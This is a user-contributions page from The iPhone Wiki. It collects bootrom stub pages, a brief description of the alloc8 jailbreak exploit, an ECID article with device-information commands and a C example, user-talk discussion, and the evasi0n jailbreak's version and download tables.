The iPhone Wiki - User contributions [en]

Bootrom 4172.0.0.100.14

2020-01-01T10:57:42Z

Http: fixed wrong term used

This is the bootrom version found in the [[iPad Pro (11-inch)]] and [[iPad Pro (12.9-inch) (3rd generation)]]. It has no known vulnerabilities.
{{stub|firmware}}
[[Category:Bootrom]]

Bootrom 4479.0.0.100.4

2020-01-01T10:56:59Z

Http: fixed wrong term used

This is the bootrom version found in the [[N104AP|iPhone 11]], [[D421AP|iPhone 11 Pro]], and [[D431AP|iPhone 11 Pro Max]]. It has no known vulnerabilities.
{{stub|firmware}}
[[Category:Bootrom]]

Bootrom 3865.0.0.4.7

2020-01-01T10:56:10Z

Http: fixed wrong term

This is the bootrom version found in the [[N841AP|iPhone XR]], [[D321AP|iPhone XS]], and [[iPhone XS Max]]. It has no known vulnerabilities.
{{stub|firmware}}
[[Category:Bootrom]]

Alloc8 Exploit

2020-01-01T08:30:42Z

Http: fix typo

{{lowercase}}
The '''alloc8 exploit''' is a [[bootrom]] exploit used to run unsigned code on both the [[Bootrom 359.3.2|new bootrom]] and the [[Bootrom 359.3|old bootrom]] [[N88AP|iPhone 3GS]] (and thereby [[jailbreak]] it). It is the first public [[Untethered jailbreak|untethered]] [[bootrom]] exploit for the [[Bootrom 359.3.2|new bootrom]] iPhone 3GS.

[[User:axi0mX|axi0mX]] published a detailed analysis of alloc8 at [https://github.com/axi0mX/alloc8/blob/master/README GitHub] following his discovery of the exploit.

[[ipwndfu]] is currently the primary and most simple way of using the alloc8 exploit.

[[Category:Exploits]]
[[Category:Bootrom Exploits]]

ECID

2018-09-18T21:09:37Z

Http: typo

The '''ECID''' (standing for '''E'''xclusive '''C'''hip '''ID'''entification, sometimes referred to as Unique Chip ID in official Apple terms) is an identifier unique to every unit, or more accurately, to every SoC.

It is 64 bits wide, with the first ~20 bits usually set to zero (looks like <tt>00000XXXXXXXXXXX</tt> in hex).

It holds a key position in the [[SHSH Protocol]], being one of 2 elements that limit each [[APTicket]] to a single specific device.

'''Note''': Some tools show it in decimal format while others do it in hexadecimal.

== Getting the ECID ==

===Via iTunes===

* Connect your iDevice to your computer.
* Open iTunes.
* Navigate to the "Summary" tab for your device.
* At the top of the panel, click twice on the line that says "Serial Number".
* Your ECID is displayed in '''hexadecimal'''.

===Via third-party software===

====On-device====

The [http://cydia.saurik.com/package/com.malcolmhall.udidcalculator/ UDID Calculator] application from Cydia displays (among other things) the ECID of your device (shown in '''decimal''').

====Via USB====

* Install [https://github.com/libimobiledevice/libimobiledevice libimobiledevice].
* Connect your device over USB.
* Run <code>ideviceinfo | grep UniqueChipID</code> command.
* There should be exactly one line, reading <code>UniqueChipID</code> followed by your ECID (in '''decimal''').
* Alternatively you can run <code>ideviceinfo -k UniqueChipID</code> which fetches the UniqueChipID key directly (which is also faster).

===Via [[Recovery Mode]] or [[DFU Mode]]===

====Mac Instructions====

*Put your device in [[Recovery Mode]] or [[DFU Mode]].
*Open System Profiler. (in /Applications/Utilities/).
*In the sidebar, go to "USB" (in the "Hardware" section).
*Under "Serial Number", there should be a part called "ECID". There you go.

====Windows Instructions====

* Put your device in [[Recovery Mode]] or [[DFU Mode]].
* Open Device Manager and right click on Apple Mobile Device (Recovery or DFU Mode) for properties.
* Click on the details tab.
* Click on the dropdown box and select Device Instance Path.
* You should find it in the textbox.

===Extracting from an SHSH===

====Img3====

There are 19 blobs in an SHSH, and the first line of every blob is the same as below:

<code>RElDRUAAAAAIAAAA********AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</code>

The * part is the ECID(Dec) encrypted by a certain formula which is

a.Transform ECID(Dec) into ECID(Hex) such as 58608372174291 ---> 35 4D D3 34 4D D3

b.Reverse the ECID(Hex) string such as 35 4D D3 34 4D D3 ---> D3 4D 34 D3 4D 35

c.Transform the string we have got into binary such as D3 4D 34 D3 4D 35 ---> ÓM4ÓM5

d.Encode the binary with base64 such as ÓM4ÓM5 ---> 00000001

Use this formula backward (d. to a.) we can extract the * part into ECID(Dec).

====Img4====

First, get your apticket.der. There are two options:
* Copy it from your device in <code>/System/Library/Caches/apticket.der</code>.
* Extract it from an SHSH file, e.g. using <code>plutil -extract ApImg4Ticket xml1 -o - *.shsh | xmllint -xpath '/plist/data/text()' - | base64 -D > apticket.der;</code>.

Now you can use any old ASN.1 parser to display the file, such as <code>openssl asn1parse -i -inform DER -in apticket.der</code>.
To get only the ECID part, use <code>openssl asn1parse -inform DER -in apticket.der | grep -A1 ECID</code>. It should show on the second line after the colon (in '''hexadecimal''', possibly with a leading zero).

===Developer Instructions===

On OSX, call <code>AMDeviceCopyValue</code> in the [[MobileDevice Library|MobileDevice Framework]] with "UniqueChipID". It returns the ECID as a <code>CFNumberRef(kCFNumberSInt64Type)</code> object.

Example implementation (all safeties removed, will probably crash if connection fails), compile with <code>clang -F/System/Library/PrivateFrameworks -framework MobileDevice -framework CoreFoundation</code>:

<pre>
// Please ping @s1guza on Twitter if this file stops compiling/working
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <CoreFoundation/CoreFoundation.h>

// Cheap aliases to make things compile without headers
typedef void am_device;
typedef void am_device_notification;
typedef void* am_device_notification_callback_info;
extern void AMDeviceNotificationSubscribe(void(*callback)(am_device_notification_callback_info *info, void *arg), int unused1, int unused2, void *unknown, am_device_notification** notification);
extern void AMDeviceConnect(am_device *device);
extern void AMDeviceStartSession(am_device *device);
extern void* AMDeviceCopyValue(am_device *device, int unknown, CFStringRef value);

void cb(am_device_notification_callback_info *info, void *arg)
{
uint64_t ecid;
am_device *dev = *info; /* info->dev */
CFRetain(dev);
AMDeviceConnect(dev);
AMDeviceStartSession(dev);

CFNumberRef ecidRef = AMDeviceCopyValue(dev, 0, CFSTR("UniqueChipID"));
CFNumberGetValue(ecidRef, kCFNumberSInt64Type, &ecid);
printf("ECID: %llX\n", ecid);

CFRelease(dev);
exit(0);
}

int main()
{
uint32_t buf[5];
am_device_notification *notification = (am_device_notification*)buf;
AMDeviceNotificationSubscribe(&cb, 0, 0, NULL, &notification);
CFRunLoopRun();
return 0;
}
</pre>

===References===

[https://www.apple.com/business/site/docs/iOS_Security_Guide.pdf iOS Security Guide mentioning what ECID stands for]

ECID

2018-09-18T21:06:29Z

Http: abbreviation is now known

User talk:Http

2017-11-15T19:33:28Z

Http: /* Email */

==Even more [[25C3 presentation "Hacking the iPhone"#Conference Recordings|presentation links]]==
Thanks for adding them. Useful for me as I'm new :) [[User:MaybachMan|MaybachMan]] 22:37, 14 July 2010 (UTC)
:Yes, thanks a ton! [[User:Syncerr|Syncerr]] 13:16, 15 July 2010 (UTC)

==Sysop==
You are now a sysop, and can block spam accounts. --[[User:Geohot|geohot]] 15:30, 21 July 2010 (UTC)
:Thanks for the honor. I'll do my best. And [[User:Dialexio|Dialexio]] was another good choice. --[[User:Http|http]] 16:12, 21 July 2010 (UTC)

==Block user MicroExploit==
I think user MicroExploit should be blocked. --[[User:5urd|5urd]] 15:08, 7 November 2010 (UTC)
:I second that --[[User:JacobVengeance|JakeAnthraX]] 15:08, 7 November 2010 (UTC)
::Done. We cannot allow to delete each others pages etc. But please be careful in your reaction to these attacks. -- [[User:Http|http]] 15:26, 7 November 2010 (UTC)
::Thank you --[[User:5urd|5urd]] 15:19, 7 November 2010 (UTC)

==Re:Posting Delete Request [[User:Whiteshinyapple|Whiteshinyapple]]==
This are the stuff [[User:5urd|5urd]] [http://i53.tinypic.com/2u4j2o6.jpg has undone]. --[[User:Whiteshinyapple|Whiteshinyapple]]
:Thanks. We have the history. No problem. But we have to agree on how to proceed before I'll take action. And you have the ok to place deletion requests where you feel appropriate. But for sake of peace, I wouldn't re-add the deleted ones for now, let's finish the discussion first. --[[User:Http|http]] 08:19, 20 November 2010 (UTC)

== Last edits. ==
Please revert as I did check that they were all the same. I will not revert all as it may cause an edit war. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:04, 20 March 2013 (UTC)
:I'm finished anyway. Feel free to remove the questionmarks on the versions you verified. In any case, at least one edit was wrong: [[MDM6600]] had 6.1.2 marked as unknown and 6.1.3 marked as "same as 5.0" - that's contradictory. So I had to assume you didn't verify the others as well. --[[User:Http|http]] ([[User talk:Http|talk]]) 00:11, 20 March 2013 (UTC)

== Re: creation of R3w1nd ==

I have no hard feelings about the page's deletion, I was just about to do it myself anyway. I think I took on to much work trying this coming in as a rookie, but you know, the little train that could. Happy New Year! {{unsigned|Peg4sus|03:23, 4 January 2014 (UTC)}}
:Thanks for the wishes, same to you. Let me know if you need anything. --[[User:Http|http]] ([[User talk:Http|talk]]) 16:49, 4 January 2014 (UTC)

== Email ==

I need to talk to you via email. Could you either:
1. Reply to the email I sent you via [[Special:EmailUser/http|this page]].
2. Email me at root@spydar007.com
3. Add your email here so that I can manually email you.

Thanks! — '''[[User:Spydar007|Spydar007]] [[User talk:Spydar007|(Talk)]]''' 15:00, 2 May 2014 (UTC)
:Not sure if I ever replied, but the emails from the wiki don’t reach me anymore; my (big) provider blocks them. They don’t even reach the spam folder. Best to contact me quickly is via Twitter (DMs are open). --[[User:Http|http]] ([[User talk:Http|talk]]) 19:33, 15 November 2017 (UTC)

Evasi0n

2017-09-09T18:05:13Z

Http: /* External Links */ added external links

{{lowercase}}
{{about|the untethered jailbreak for iOS 6.0-6.1.2|the untethered jailbreak for iOS 7.0.x|evasi0n7}}
{{Infobox software
| name = evasi0n
| title = evasi0n
| logo = [[File:Evasi0n.png|128px]]
| author = [[evad3rs]]
| developer = evad3rs
| released = {{date|2013|02|04}}
| discontinued =
| latest release version = 1.5.3
| latest release date = {{date|2013|03|12}}
| programming language = C
| operating system = [[wikipedia:Microsoft Windows|Windows]] / [[wikipedia:OS X|OS X]] / [[wikipedia:Linux|Linux]]
| size = Windows: 9.974 MiB [ZIP] OS X: 9.481 MiB [DMG] Linux: 9.405 MiB [TAR.LZMA]
| platform =
| language = [[wikipedia:English|English]]
| status = Deprecated
| genre = Jailbreaking
| license = [[wikipedia:Freeware|Freeware]]
| website = [http://evasi0n.com/iOS6 evasi0n.com/iOS6]
}}
'''evasi0n''' is a [[jailbreak]] tool that can perform an [[untethered jailbreak]] on [[iOS]] 6.0-6.1.2 for all [[#Supported Devices|supported devices]], excluding both [[Apple TV (3rd generation)]] revisions. It was first released on 4 February 2013 by [[evad3rs]], and is available for Windows, Mac OS X, and Linux (x86 and x86_64). There is also a [[Cydia.app|Cydia]] package called "evasi0n [[iOS]] 6.0-6.1.2 [[untethered jailbreak|untether]]" which can untether an existing [[tethered jailbreak]] without the need to restore and use the desktop tool. It is a [[userland]] [[jailbreak]]. [[User:posixninja|P0sixninja]] released the [https://github.com/OpenJailbreak/evasi0n6 source code] with his [https://twitter.com/p0sixninja/status/906567268334755841 Twitter announcement on 9-Sept-2017].

== Supported Devices ==
As of evasi0n's release, the only unsupported devices are the [[Apple TV (3rd generation)]] revisions, since the [[kernel]]s on these devices lack an injection vector to run unsigned code. All other devices running [[iOS]] 6.0-6.1.2 are supported (including iOS 5.2 for the [[K66AP|Apple TV (2nd generation)]]).

== Cydia Package ==
The Cydia package contains just three files:
/private/var/evasi0n/amfi.dylib
/private/var/evasi0n/evasi0n
/usr/libexec/dirhelper

It also includes three Debian maintenance scripts: <code>prerm</code> (a bash script that cancels uninstallation if the device is not vulnerable to [[Limera1n Exploit|limera1n]]), as well as <code>postrm</code> and <code>extrainst_</code> binaries.

== Version History ==
{| class="wikitable"
! Version
! Cydia Package Version
! Release Date
! #
! SHA-1 of evasi0n binary
! Changes
|-
! 1.0
| style="text-align:center;" | 0.1-1
| {{date|2013|02|04}}
| 1
| <code>f16f4592e5d65927faf98a25bce51b22ee9bc831</code>
|
* Initial Release
|-
! 1.1
| style="text-align:center;" | 0.2-3
| {{date|2013|02|06}}
| 2
| <code>301003d8aa58a0a2e1bf7030bb903ca42a89c851</code>
|
* Prevents Weather app from appearing on [[List of iPads|iPads]]
* Mitigated the long reboot issue
* Fixed freezing issue with after connecting multiple devices
* Fixed blinking of the jailbreak instructions on OS X.
* OS X app is now codesigned.
|-
! 1.2
| style="text-align:center;" | 0.3-1
| {{date|2013|02|08}}
| 3
| <code>75d140c53bdd615cc279932f843ab3af584086a5</code>
|
* Disables [[OTA Updates|OTA updates]].
* Correct timezone issue in evasi0n binary if client fails to correct it.
|-
! 1.3
| style="text-align:center;" | 0.3-2
| {{date|2013|02|11}}
| 4
| <code>ff5a5e767acb4c9acf9a25555ae172ad254e596a</code>
|
* Adds support for the [[N94AP|iPhone 4S]] on [[iOS]] 6.1.1.
|-
! 1.4
| style="text-align:center;" | 0.3-3
| {{date|2013|02|19}}
| 5
| <code>3b2cc5e2d7be397c09d369e83ea52094250d86e9</code>
|
* Added support for iOS 6.1.2
|-
! 1.5
| rowspan="2" style="text-align:center;" | 0.4-1
| {{date|2013|02|23}}
| 6
| <code>cd5a71b4d0b2767294049cc6b3b2ce3e09d68445</code>
|
* Improved boot time.
* Updated included Cydia package list.
|-
! 1.5.1
| {{date|2013|03|05}}
| 7
| <code>1a826416932e77f24c94da17884e48ccfe7cdbf6</code>
|
* Updated included Cydia package list.
|-
! 1.5.2
| rowspan="2" style="text-align:center;" | 0.4.1-1
| {{date|2013|03|11}}
| 8
| <code>3e89337956189e6654cd359995ac550f0372ac8b</code>
|
* Added French translation.
* Added Chinese translation.
* Added German translation.
* Updated bundled Cydia with localization fixes.
|-
! 1.5.3
| {{date|2013|03|12}}
| 9
| <code>3e89337956189e6654cd359995ac550f0372ac8b</code>
|
* Fixes Windows bugs.
|}

== Download ==
{| class="wikitable" style="white-space:nowrap;"
! Version
! OS
! SHA-1 Hash
! colspan="5" | Download
|-
! rowspan="3" | 1.0
| [[wikipedia:Linux|GNU/Linux]]
| <code>c9e4b15a161b89f0e412721f471c5f8559b6054f</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-linux-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.tar.lzma Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/5dped2c9ejnk5r6ahfpg Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!0kUkXBLC!Q8e53kQZpLbGL7PquHWgQFhMU9Ru3WJWxBuzEdkiMJo MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2561828874/evasi0n-linux-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.tar.lzma RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.tar.lzma iClarified]
|-
| [[wikipedia:OS X|Mac OS X]]
| <code>23f99a0d65e71fd79ff072b227f0ecb176f0ffa8</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-mac-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.dmg Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/du66n0g9wl1j4ta57hpx Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!5h0BwQoa!KdRLFwNJ3OjMS-7Zs2YGQnsvPxAKEsaAjabY__8pNtY MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/3010870584/evasi0n-mac-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.dmg RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.dmg iClarified]
|-
| [[wikipedia:Microsoft Windows|Windows]]
| <code>2ff288e1798b4711020e9dd7f26480e57704d8b2</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-win-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.zip Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/tg1t0cz7oakvq7hsv0bd Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!d9ciUApQ!AkwevVU1OtUrEUU7U4fE-V8qqM9aINTAGgjkukShihE MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/3503186483/evasi0n-win-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.zip RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.zip iClarified]
|-
! rowspan="3" | 1.1
| GNU/Linux
| <code>6c06a6be87e003eee470eb749b42ffbaafcc9e62</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-linux-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.tar.lzma Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/8smyi2ud2ts41icmtf50 Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!Qw9wwJpC!IE3ZcRv9-yCc-w12Ktmd_AQbVV84xCdIycB7W0OyW8g MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/330748775/evasi0n-linux-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.tar.lzma RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>ae9d20bc927976a1f55089cd80afca48de0f7a2e</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-mac-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.dmg Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/ydz8ctzuvyjuqb7y0oj5 Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!I0FmTK7Q!YTBYg3e9oEFYIFwFN56XfVqcHAdh1YacWW0OkFE1dHo MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2540645295/evasi0n-mac-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.dmg RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.dmg iClarified]
|-
| Windows
| <code>4225b01afd4a4fd1277565954964bd3310ad8b5f</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-win-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.zip Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/velx0yh66mmw4jlf4igm Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!1x9EzajI!CqMhmQ8rl6NODx6S4lOZVRNHyBJ9Dgt3TtRBl4_l2NA MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2426342155/evasi0n-win-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.zip RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.zip iClarified]
|-
! rowspan="3" | 1.2
| GNU/Linux
| <code>2e1d1f6c7e6ca775860df03298dce3b0d798658a</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-linux-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.tar.lzma Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/jcerfiaug4ke7f4q6z15 Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!Ak12CQIJ!Mf6_W1l9xPQKvQUYOZEl9w_4yB0HbfqrTRWZ6BJKSjg MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/1511098224/evasi0n-linux-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.tar.lzma RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>8f91aba478ad28bda800dc5c303be1699fcfb800</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-mac-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.dmg Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/qogbw1s82xi8ogdfk1co Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!wxMFAZhR!KIMDnVwbvscogces8L2z7j1aQIgxPZgsBygLou69gfk MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/3161324199/evasi0n-mac-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.dmg RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.dmg iClarified]
|-
| Windows
| <code>9942559caf779da6526b9fd0e207d21554a8a9cf</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-win-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.zip Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/ld4e7c2ckrjyaj1cym8g Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!9k0iQICT!M_gOkBSyYO5c86LqXX9UUWF-twF-wJMhH9ScPwd1CFE MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2387451293/evasi0n-win-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.zip RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.zip iClarified]
|-
! rowspan="3" | 1.3
| GNU/Linux
| <code>d93bc45653345e62a315e0a0aaa1b709aacd26c4</code>
| [https://sites.google.com/site/evad3rs/evasi0n-linux-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.tar.lzma Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/yu314zif091koehui5pb Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!Rg0kyRIK!T-_u6CMAgTc1lFl0XMdjwjD3sBcAnOlIUK0GdR-Nh-s MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2098837020/evasi0n-linux-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.tar.lzma RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>c239da3fd4e312c8468cdca967c86962b2cbd3f9</code>
| [https://sites.google.com/site/evad3rs/evasi0n-mac-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.dmg Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/cfbxzbn3p9gmj24tslwc Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!wgdgHCLb!AHLWLhCqoTQR-qWceDld_nODFZAo-MiMJbDug3my2iE MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2824336729/evasi0n-mac-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.dmg RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.dmg iClarified]
|-
| Windows
| <code>92bbe23f125f3b0155334f1925943624e24ce130</code>
| [https://sites.google.com/site/evad3rs/evasi0n-win-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.zip Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/spd5uii8p86ko6ypad1l Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!Uh0gVLbQ!YP63Pk2qb300H_bI17i8i3z7868m5aQPJEWaDob5Qe8 MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2063191667/evasi0n-win-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.zip RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.zip iClarified]
|-
! rowspan="3" | 1.4
| GNU/Linux
| <code>95c34e7a7220d2dab2e93cf9bb62beb49aef8996</code>
| [https://sites.google.com/site/evad3rs/evasi0n-linux-1.4-91fc5a30e4caf41b22e85427e1b3b738f5158d8e-release.tar.lzma Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/f6llokbz8k2a3ag08d54 Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!B5FGyQLY!QoSdQFK-8yWmXbwhBjr0YhXeFW5YQGih2ZUOzGIO9SA MEGA]
| rowspan="9" {{n/a}}
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.4-91fc5a30e4caf41b22e85427e1b3b738f5158d8e-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>96b62f303e335bb5c6b78034027606fee5fc93c3</code>
| [https://sites.google.com/site/evad3rs/evasi0n-mac-1.4-91fc5a30e4caf41b22e85427e1b3b738f5158d8e-release.dmg Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/flvifqy9csegg2dyk79n Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!10dgUABL!R8uxsTBRPD58gE6K7cF22QI2xtp0k6OAYcD6L6d-9g4 MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.4-91fc5a30e4caf41b22e85427e1b3b738f5158d8e-release.dmg iClarified]
|-
| Windows
| <code>36adf9ccf62aaf770163666e757c7a89e9ba3a55</code>
| [https://sites.google.com/site/evad3rs/evasi0n-win-1.4-91fc5a30e4caf41b22e85427e1b3b738f5158d8e-release.zip Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/eesitqovp4ac444txvau Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!04ljSZQJ!F9kaThdAaXyYiOINpn63WA1kEARYujnUh6SRl4gp7Ok MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.4-91fc5a30e4caf41b22e85427e1b3b738f5158d8e-release.zip iClarified]
|-
! rowspan="3" | 1.5
| GNU/Linux
| <code>923db21a9045df6aaaff27670be92330f4855a21</code>
| [https://sites.google.com/site/evad3rs/evasi0n-linux-1.5-9cde20f28818ac84a776f2db463c265db00c1021-release.tar.lzma Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/0uhcxb83r30519x59avl Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!5odg2TBQ!M_csICuu8BazHC16H5Y_zlv6hqw7ZFsz-rOoYkrXdeg MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.5-9cde20f28818ac84a776f2db463c265db00c1021-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>cccf7e5b4a83df8c05dcfed98b9627533c018541</code>
| [https://sites.google.com/site/evad3rs/evasi0n-mac-1.5-9cde20f28818ac84a776f2db463c265db00c1021-release.dmg Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/ip3yvihmkkp9qh3arixs Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!YpdiWJpZ!GDrEaV5xwMI8XUv2gKER6EstsD1MMgKJD-MkTo41MLM MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.5-9cde20f28818ac84a776f2db463c265db00c1021-release.dmg iClarified]
|-
| Windows
| <code>25799bbeea3733c26fb010e6aca432d686fd8f9f</code>
| [https://sites.google.com/site/evad3rs/evasi0n-win-1.5-9cde20f28818ac84a776f2db463c265db00c1021-release.zip Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/tnez6rzlyka0yovc59fu Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!M4En0DqT!TLDb1TO0bnRYxnvd53pcP31Yf0RoD50oeEN9nsERi9o MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.5-9cde20f28818ac84a776f2db463c265db00c1021-release.zip iClarified]
|-
! rowspan="3" | 1.5.1
| GNU/Linux
| <code>cc0bd166a1480c2a838584b201981db1e45ca411</code>
| rowspan="9" {{n/a}}
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/q9kxt1rx26jtsp5t23jf Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!A9cGhJ7R!WBD8mEP44G8xto1QE6buXV8wVr9JjwE8ZzXR1GETZwA MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.5.1-4e748c808f9d38c262b0916f87ef5b0e8124fc5f-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>4a0e9fb8b5f83fbee5e26d1d7db876cefd09832a</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/jz8730nj3fqhe4u16um0 Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!Jh8VBYwb!E2MPwwr6qlaljNAS_4A2AAN6iS0KZzxEjCaeW84tbM4 MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.5.1-4e748c808f9d38c262b0916f87ef5b0e8124fc5f-release.dmg iClarified]
|-
| Windows
| <code>a220bb5fb1ccf5cf1cb666dc03e20ac54890835d</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/51vgle3imzdvero2krja Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!M5FVzIxZ!ExWD6iJVoIO_vmJYuBvFrk0bW7MYmXfYnjDUea2Nhbc MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.5.1-4e748c808f9d38c262b0916f87ef5b0e8124fc5f-release.zip iClarified]
|-
! rowspan="3" | 1.5.2
| GNU/Linux
